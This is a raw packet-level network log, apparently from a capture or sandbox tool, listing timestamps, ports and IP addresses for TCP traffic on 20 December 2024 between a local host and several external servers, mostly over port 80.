Dec 20, 2024 21:13:30.447205067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.448260069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.448355913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.448368073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.448451042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.449507952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.449573994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.449599028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.449807882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.450643063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.450696945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.450701952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.450757027 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.451864004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.452038050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.452145100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.452378988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.452955008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.453166008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.453197002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.453291893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.454149008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.454263926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.454276085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.454351902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.455344915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.455454111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.455456972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.455709934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.456583023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.456656933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.456727028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.456727028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.457652092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.457753897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.457784891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.457884073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.458838940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.458949089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.459054947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.460288048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.460371017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.460407019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.460450888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.461324930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.461391926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.461400032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.461455107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.462541103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.462609053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.462642908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.462655067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.463774920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.463834047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.463843107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.463890076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.464812994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.464915037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.464942932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.464994907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.466058969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.466114998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.466145039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.466195107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.467607975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.467654943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.467684984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.467757940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.468683004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.468739033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.468769073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.468862057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.470948935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.471003056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.471062899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.471075058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.471127033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.471261978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.471317053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.472105980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.472179890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.472237110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.472237110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.473148108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.473243952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.473339081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.473454952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.474292994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.474359035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.474461079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.474631071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.475387096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.475470066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.475498915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.475588083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.476562023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.476635933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.476676941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.476794004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.477720022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.477787018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.477906942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.478872061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.478985071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.479062080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.480040073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.480124950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.480145931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.480191946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.481215000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.481293917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.481357098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.481477976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.482458115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.482513905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.482583046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.482845068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.483552933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.483649969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.483659983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.483768940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.484729052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.484791994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.484858990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.485080004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.485905886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.485976934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.486056089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.486133099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.617157936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.617259026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.617310047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.617310047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.617666006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.617856026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.617939949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.618851900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.618957996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.618976116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.619069099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.620059013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.620134115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.620460987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.620529890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.620558977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.620781898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.621571064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.621651888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.621696949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.621771097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.622760057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.622833967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.622908115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.623063087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.624000072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.624063969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.624069929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.624334097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.625153065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.625220060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.625230074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.625349998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.626322031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.626384020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.626398087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.626492977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.627475977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.627574921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.627640009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.627640009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.628684044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.628778934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.628912926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.629831076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.629956007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.629987001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.630106926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.631020069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.631161928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.631181955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.631258011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.632217884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.632256031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.632402897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.632457972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.633361101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.633455038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.633485079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.633522987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.634565115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.634639978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.634685040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.634772062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.635782003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.635881901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.635891914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.636001110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.636913061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.637026072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.637041092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.637088060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.638072014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.638175964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.638252020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.639270067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.639331102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.639368057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.639457941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.640471935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.640541077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.640547991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.640733957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.641609907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.641778946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.641818047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.641832113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.642793894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.642872095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.642893076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.642971992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.643994093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.644068003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.644089937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.644367933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:33.070570946 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:33.071014881 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:33.190603971 CET	80	49879	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:33.190639019 CET	80	49915	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:33.190684080 CET	49879	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:33.190762997 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:33.196024895 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:33.315577984 CET	80	49915	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:34.330185890 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:34.330235958 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:34.330399036 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:34.344362020 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:34.344372988 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:34.543279886 CET	80	49915	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:34.543826103 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:34.544828892 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:34.544855118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:34.664589882 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:34.664729118 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:34.664851904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:34.666378975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:34.666573048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:34.784441948 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993237972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993263006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993274927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993308067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.993355036 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.993422031 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993432999 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993475914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.993762970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993792057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993803978 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993810892 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.993814945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.993830919 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.993850946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:35.994240046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:35.994292021 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.086581945 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:36.087120056 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:36.087133884 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:36.088670015 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:36.088798046 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:36.090347052 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:36.090434074 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:36.114239931 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:36.114248037 CET	443	49917	34.226.108.155	192.168.2.6
Dec 20, 2024 21:13:36.115384102 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.115405083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.115441084 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.115485907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.117949963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.117999077 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.118066072 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.118107080 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.160597086 CET	49917	443	192.168.2.6	34.226.108.155
Dec 20, 2024 21:13:36.181705952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.181760073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.181843996 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.181895971 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.185817957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.185858965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.185909986 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.192296982 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.192364931 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.192364931 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.192414045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.200623989 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.200671911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.200757027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.200798988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.209456921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.209512949 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.209585905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.209631920 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.217416048 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.217464924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.217521906 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.217572927 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.226515055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.226569891 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.226619959 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.226666927 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.234169006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.234219074 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.234414101 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.234510899 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.243586063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.243643999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.243786097 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.243890047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.251180887 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.251234055 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.251238108 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.251281023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.259228945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.259330034 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.259337902 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.259382963 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.266730070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.266798973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.266805887 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.266848087 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.302289009 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.302355051 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.373599052 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.373656988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.373792887 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.373853922 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.375693083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.375740051 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.375910044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.375955105 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.380007029 CET	80	49920	31.41.244.11	192.168.2.6
